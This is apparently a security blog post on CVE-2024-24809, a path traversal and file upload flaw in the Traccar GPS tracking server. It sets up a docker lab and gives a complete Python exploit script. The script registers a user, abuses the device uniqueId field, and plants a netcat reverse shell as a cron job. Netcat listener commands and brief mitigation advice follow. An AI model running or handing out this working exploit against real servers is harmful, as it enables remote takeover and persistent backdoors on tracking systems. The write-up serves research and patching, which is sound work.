CVE-2024-24809: Traccar GPS Path Traversal and File Upload Vulnerability

2024-10-13
Kamran Hasan
CVE-2024-24809
CVE-2024-24809 exploit
Traccar vulnerability
Traccar remote code execution
GPS tracking platform vulnerability
file upload vulnerability
Reverse shell by file upload
arbitrary code execution
Hack Traccar GPS tracking
open-source GPS tracking
Hack Traccar GPS
Exploit Traccar
CVE-2024-24809: Traccar GPS Path Traversal and File Upload Vulnerability

Overview

CVE-2024-24809 is a critical vulnerability affecting Traccar, an open-source GPS tracking system. This vulnerability combines a path traversal attack with an unrestricted file upload, allowing attackers to execute arbitrary code on affected systems. The vulnerability was discovered in Traccar versions prior to 6.0 and was patched in version 6.0.

Affected Components

The vulnerability specifically affects the file upload functionality in Traccar's web interface, primarily in the following areas:

  • User registration and authentication system

  • Device management API

  • File upload mechanism for device images

Attack Vector

An authenticated attacker can exploit this vulnerability through a series of API calls, manipulating the file upload process and device configuration. The attack involves several steps:

  • User registration and authentication

  • Device creation

  • Initial file upload

  • Manipulation of device configuration to enable path traversal

  • Secondary file upload to exploit the path traversal

Proof of Concept Lab

Unfortunately, there's a docker image that we can use to host the vulnerable instance of Traccar GPS in our local environment. All we need to do is pull and run that image:

docker run \
--name traccar \        
--hostname traccar \
 --restart unless-stopped \
--publish 80:8082 \
--publish 5000-5150:5000-5150 \
--publish 5000-5150:5000-5150/udp \
--volume /opt/traccar/logs:/opt/traccar/logs:rw \
--volume /opt/traccar/traccar.xml:/opt/traccar/conf/traccar.xml:ro \
traccar/traccar:5.12

This will simply start the Traccar instance on localhost port 80.

Exploitation Process

Here's a detailed breakdown of the exploitation process:

1. User Registration and Authentication:

  • The attacker registers a new user account using randomly generated credentials.

  • The attacker logs in to obtain a valid session.

2. Device Creation:

  • A new device is added to the system using the `/api/devices` endpoint.

  • This step is necessary to obtain a valid device ID for subsequent operations.

3. Initial File Upload:

  • The attacker uploads a file (in this case, a shell script) using the `/api/devices/{device_id}/image` endpoint.

  • The Content-Type header is set to `image/{file_suffix}` to bypass initial file type checks.

4. Path Traversal Setup:

  • The attacker modifies the device configuration using the `/api/devices/{device_id}` endpoint.

  • The crucial part of this step is changing the `uniqueId` parameter to include path traversal sequences: "uniqueId": f"{device_name}/../../../../..{upload_path}". This manipulation allows the attacker to control the final upload location.

5. Malicious File Upload:

  • The attacker performs a second file upload using the same endpoint as in step 3.

  • Due to the path traversal in the device configuration, this file is now placed in the attacker-specified location.

6. Code Execution:

  • In this exploit, the uploaded file is a shell script that creates a reverse shell connection.

  • The script is placed in `/etc/periodic/1minute`, to be executed by the system's cron job, leading to persistent remote access.

Exploit Script

Here's the script that covers the exploitation process on our hosted target:

import requests
import random
import string
import sys
session = requests.session()

def generate_random_string(length=8):
    letters = string.ascii_letters
    result_str = ''.join(random.choice(letters) for i in range(length))
    return result_str

def register(target, username):
    headers = {
        'Content-Type': "application/json"
    }
    data = {
        "name": username,
        "email": f"{username}@admin.com",
        "password": "123456",
        "totpKey": None
    }
    
    res = session.post(f"{target}/api/users",headers=headers, json=data)
    return res

def login(target, username):
    headers = {
        'Content-Type': "application/x-www-form-urlencoded;charset=UTF-8"
    }
    data = 'email=' + username + '@admin.com&password=123456'
    res = session.post(f"{target}/api/session",headers=headers, data=data)
    return res

def add_device(target, device_name):
    headers = {
        'Content-Type': "application/json"
    }
    data = {
        "name": device_name,
        "uniqueId": device_name
    }
    res = session.post(f"{target}/api/devices",headers=headers, json=data)
    return res

def upload_file(target, device_id, file_suffix, data):
    headers = {
        'Content-Type': f"image/{file_suffix}"
    }
    res = session.post(f"{target}/api/devices/{device_id}/image",headers=headers, data=data)
    return res

def change_upload_path(target, device_id, device_name, upload_path):
    headers = {
        'Content-Type': 'application/json'
    }
    data = {
        "id": device_id,
        "attributes": {
            "deviceImage": "device.png"
        },
        "groupId": 0,
        "calendarId": 0,
        "name": "test",
        "uniqueId": f"{device_name}/../../../../..{upload_path}",
        "status": "offline",
"lastUpdate":None,"positionId":0,"phone":None,"model":None,"contact":None,"category":None,"disabled":False,"expirationTime":None}
    res = session.put(f"{target}/api/devices/{device_id}",headers=headers, json=data)
    return res

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print(f"Usage: python {sys.argv[0]} http://localhost:80 LISTENER_IP LISTENER_PORT")
        sys.exit(0)
    target = sys.argv[1]
    username = generate_random_string()
    # register user
    res = register(target, username)
    if username not in res.text:
        print("Register Error!!")
        sys.exit(0)
    print(f"Register: {username}@admin.com  Password: 123456")
    # login
    res = login(target, username)
    if username not in res.text:
        print("Login Error!!")
        sys.exit(0)
    print("Login Success!!")
    device_name = generate_random_string()

    # Add Device
    res = add_device(target, device_name)
    if 'id' not in res.text:
        print("ADD Device Error!!")
        sys.exit(0)
    print(f'Add Device Success!! [{device_name}]')
    device_id = res.json()['id']

    # # Upload File
    suffix = "sh"
    data = f"""#!/bin/sh \n exec nc {sys.argv[2]} {sys.argv[3]} -e /bin/sh
    """
    res = upload_file(target, device_id, suffix, data)
    if 'device.' + suffix not in res.text:
        print("Upload Error!!")
        sys.exit(0)
    print(f"First Upload Success!!")

    # Change Upload Path
    upload_path = "/etc/periodic/1minute"
    res = change_upload_path(target, device_id, device_name, upload_path)
    if upload_path not in res.text:
        print("Change Upload Path Error!!")
        sys.exit(0)
    print("Change Upload Path Success!!")

    # Upload File Again
    res = upload_file(target, device_id, suffix, data)
    if 'device.' + suffix not in res.text:
        print("Upload Error!!")
        sys.exit(0)
    
    print("Uploaded reverse shell payload as a cron job successfully!")
    print("Check listener for reverse shell")

This exploit requires a netcat listener to be set up on the target machine to catch the reverse shell:

nc -lvnp 4444

Once it is set up, we can execute the above script to exploit the vulnerable Traccar instance.

python exploit.py http://localhost:80 LISTENER_IP LISTENER_PORT

In case of a successful exploit, we should receive the reverse shell on our listener:

Technical Analysis of the Exploit

The exploit leverages several Traccar API endpoints:

  • ‘/api/users’: User registration

  • ‘/api/session’: User authentication

  • ‘/api/devices’: Device management (creation and modification)

  • ‘/api/devices/{device_id}/image’: File upload functionality

The core of the vulnerability lies in how Traccar handles file uploads and device configurations:

  • Lack of Path Sanitization: The application fails to properly sanitize the `uniqueId` field in device configurations, allowing for directory traversal.

  • Insufficient File Type Validation: The initial upload accepts files with arbitrary extensions, only checking the Content-Type header.

  • Improper File Path Construction: The final upload location is influenced by user-controlled data (the `uniqueId` field), leading to arbitrary file placement.

The exploit creates a simple reverse shell payload:

#!/bin/sh
exec nc {LISTENER_IP} {LISTENER_PORT} -e /bin/sh

This payload, when executed, establishes a network connection to the attacker's machine and provides shell access to the compromised system.

Impact

The successful exploitation of CVE-2024-24809 can lead to:

  • Remote Code Execution (RCE)

  • Persistent backdoor access to the Traccar server

  • Complete compromise of the GPS tracking system

  • Potential lateral movement within the connected network

Mitigation and Best Practices

To prevent similar vulnerabilities:

  • Implement strict input validation for all user-supplied data, especially in device configurations.

  • Use a whitelist approach for allowed upload destinations.

  • Employ robust file type checking that goes beyond Content-Type headers.

  • Implement proper access controls and privilege separation.

  • Regularly update and patch the Traccar installation.

Conclusion

CVE-2024-24809 demonstrates the complex interplay between seemingly separate application functions (device configuration and file upload) that can lead to critical vulnerabilities. It underscores the importance of holistic security reviews that consider how different parts of an application might interact in unexpected ways.

For security researchers and penetration testers, this vulnerability serves as an excellent case study in chaining multiple application behaviors to achieve remote code execution. It highlights the need for thorough testing of file upload functionalities, especially in conjunction with other configurable application parameters.

CVE-2024-23334: A Deep Dive into aiohttp's Directory Traversal Vulnerability
CVE-2024-23334: A Deep Dive into aiohttp's Directory Traversal Vulnerability
2024-09-10
Kamran Hasan
CVE-2024-37568: Authlib Algorithm Confusion Vulnerability
CVE-2024-37568: Authlib Algorithm Confusion Vulnerability
2024-08-16
James McGill
CVE-2024-40348: Bazarr Directory Traversal Vulnerability
CVE-2024-40348: Bazarr Directory Traversal Vulnerability
2024-07-30
James McGill
Python-JOSE Security Risk: CVE-2024-33663 Explained
Python-JOSE Security Risk: CVE-2024-33663 Explained
2024-07-21
James McGill
CVE-2024-27316: A Deep Dive into the nghttp2 Header Overflow
CVE-2024-27316: A Deep Dive into the nghttp2 Header Overflow
2024-07-21
James McGill
CVE-2024-36401: GeoServer and GeoTools - XPath Injection via commons-jxpath
CVE-2024-36401: GeoServer and GeoTools - XPath Injection via commons-jxpath
2024-06-13
James McGill